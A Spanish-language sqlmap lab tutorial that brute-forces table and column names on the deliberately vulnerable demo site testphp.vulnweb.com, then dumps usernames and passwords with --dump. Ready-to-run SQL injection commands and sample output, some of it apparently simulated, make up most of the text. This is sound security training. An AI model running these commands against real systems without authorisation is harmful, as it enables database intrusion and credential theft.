Forzar nombres de tablas y columnas en sqlmap

Introducción

En este laboratorio, explorará técnicas avanzadas en sqlmap para descubrir nombres de tablas y columnas de bases de datos cuando los métodos de enumeración estándar son ineficaces. Esto ocurre a menudo en escenarios del mundo real donde las aplicaciones web implementan filtrado robusto o Firewalls de Aplicaciones Web (WAFs) que bloquean payloads comunes de inyección SQL. Aprenderá a aprovechar las capacidades de fuerza bruta de sqlmap, específicamente las banderas --common-tables y --common-columns, para identificar estructuras de bases de datos ocultas utilizando listas de palabras integradas. Esta experiencia práctica le proporcionará habilidades esenciales para pruebas de inyección SQL más completas.

Identificar un escenario donde la enumeración estándar falla

En este paso, simulará un escenario donde las técnicas de enumeración estándar de sqlmap podrían no lograr descubrir los nombres de tablas y columnas. Esto sucede a menudo debido a WAFs, filtrado estricto o manejo de errores personalizado que impide que sqlmap infiera directamente el esquema de la base de datos. Aunque no configuraremos una aplicación verdaderamente vulnerable para este laboratorio, utilizaremos una URL de marcador de posición para demostrar cómo se comporta sqlmap cuando la enumeración directa no es posible.

Primero, intentemos un comando de enumeración estándar para tablas y columnas. Usaremos una URL ficticia http://testphp.vulnweb.com/listproducts.php?cat=1 como nuestro objetivo. Se sabe que esta URL es vulnerable en algunos contextos, pero para este ejercicio, asumiremos que está configurada para bloquear la enumeración directa.

Abra su terminal y ejecute el siguiente comando de sqlmap. Este comando intenta enumerar tablas y columnas para la base de datos acuart.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch

Podría observar que sqlmap tiene dificultades para encontrar tablas o columnas, o podría informar que no se encontraron tablas/columnas, incluso si existen. Esto simula un escenario donde la enumeración directa está bloqueada. La bandera --batch le indica a sqlmap que use respuestas predeterminadas para las preguntas, haciendo que el proceso sea no interactivo.

Ejemplo de salida (puede variar, pero note la falta de tablas/columnas descubiertas):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...

Esta salida indica que sqlmap no pudo enumerar tablas y columnas directamente. En tales casos, la fuerza bruta de nombres comunes se convierte en una alternativa viable.

Usar la bandera --common-tables para la fuerza bruta de nombres de tablas

En este paso, utilizará la bandera --common-tables para realizar una fuerza bruta de nombres de tablas. Esta bandera instruye a sqlmap a usar una lista de palabras incorporada de nombres de tablas comunes (por ejemplo, users, admin, products, orders) y probarlos contra el objetivo. Esto es particularmente útil cuando la enumeración directa está bloqueada.

Continúe usando la misma URL de destino http://testphp.vulnweb.com/listproducts.php?cat=1 y la base de datos acuart.

Ejecute el siguiente comando de sqlmap:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch

Este comando le indicará a sqlmap que intente identificar nombres de tablas comunes dentro de la base de datos acuart. sqlmap iterará a través de su lista de palabras interna e intentará encontrar tablas existentes.

Ejemplo de salida:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products   |
| users      |
+------------+
...

Ahora debería ver que sqlmap identifica con éxito nombres de tablas comunes como users, products y categories. Esto demuestra la efectividad de la fuerza bruta cuando falla la enumeración estándar.

Analizar la lista de tablas encontradas de la lista de palabras común

En este paso, revisará la salida del comando anterior para comprender qué tablas comunes identificó sqlmap con éxito. Este análisis es crucial para planificar sus próximos pasos en el proceso de inyección SQL, ya que conocer los nombres de las tablas le permite dirigirse a datos específicos.

De la salida del comando anterior, sqlmap debería haber listado varias tablas comunes. Por ejemplo, podría haber visto:

Database: acuart
[3 tables]
+------------+
| categories |
| products   |
| users      |
+------------+

Estas son las tablas que sqlmap encontró al realizar una fuerza bruta de su lista de palabras interna. La presencia de tablas como users es particularmente interesante, ya que a menudo contiene información sensible como nombres de usuario y contraseñas.

Tómese un momento para examinar la salida en su terminal. Identifique los nombres de las tablas que sqlmap descubrió. Estos nombres se utilizarán en los próximos pasos para realizar una fuerza bruta de los nombres de las columnas.

No se requiere ningún comando específico para este paso, ya que implica analizar la salida del comando anterior. Este paso enfatiza la comprensión de los resultados de sus operaciones de sqlmap.

Usar la bandera --common-columns para la fuerza bruta de nombres de columnas

Ahora que ha identificado nombres de tablas comunes, puede proceder a realizar una fuerza bruta de nombres de columnas dentro de esas tablas. De manera similar a --common-tables, la bandera --common-columns utiliza una lista de palabras incorporada de nombres de columnas comunes (por ejemplo, username, password, email, id) para descubrir columnas cuando la enumeración directa no es posible.

Supongamos que encontró la tabla users en el paso anterior. Ahora intentará realizar una fuerza bruta de nombres de columnas dentro de esta tabla users en la base de datos acuart.

Ejecute el siguiente comando de sqlmap:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch

Este comando instruye a sqlmap a encontrar nombres de columnas comunes dentro de la tabla users de la base de datos acuart.

Ejemplo de salida:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| id       | int(11)   |
| username | varchar(50) |
| password | varchar(50) |
| email    | varchar(100)|
+----------+-----------+
...

Debería ver que sqlmap identifica con éxito nombres de columnas comunes como id, username, password y email dentro de la tabla users. Esto demuestra cómo la fuerza bruta puede revelar información crítica incluso cuando la enumeración directa está bloqueada.

Combinar el descubrimiento por fuerza bruta con un comando de volcado de datos

En este paso final, combinará el descubrimiento por fuerza bruta de nombres de tablas y columnas con un comando de volcado de datos. Una vez que haya identificado con éxito tablas y columnas interesantes utilizando las banderas --common-tables y --common-columns, puede usar la bandera --dump de sqlmap para extraer los datos reales.

Suponiendo que ha identificado la tabla users y columnas como username y password en los pasos anteriores, ahora puede intentar volcar los datos de estas columnas.

Ejecute el siguiente comando de sqlmap para volcar las columnas username y password de la tabla users en la base de datos acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch

Este comando instruirá a sqlmap a recuperar los datos de las columnas especificadas.

Ejemplo de salida:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --sqlmap.org
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test     | test     |
| admin    | admin    |
+----------+----------+
...

Debería ver que sqlmap vuelca con éxito los datos de las columnas username y password. Esto demuestra el flujo de trabajo completo: identificar un escenario donde la enumeración estándar falla, usar la fuerza bruta para descubrir estructuras ocultas y, finalmente, extraer datos sensibles. Esta técnica es una poderosa adición a su conjunto de herramientas de inyección SQL.

Resumen

En este laboratorio, ha aprendido a utilizar eficazmente las capacidades de fuerza bruta de sqlmap para descubrir nombres de tablas y columnas cuando los métodos de enumeración estándar están bloqueados o fallan. Comenzó simulando un escenario donde la enumeración directa no tuvo éxito. Luego, utilizó con éxito la bandera --common-tables para identificar nombres de tablas comunes y la bandera --common-columns para encontrar nombres de columnas comunes dentro de esas tablas. Finalmente, combinó estas técnicas de descubrimiento con la bandera --dump para extraer datos de las columnas identificadas. Esta experiencia práctica le ha proporcionado una habilidad crucial para las pruebas avanzadas de inyección SQL, permitiéndole eludir defensas comunes y recuperar información valiosa de bases de datos vulnerables.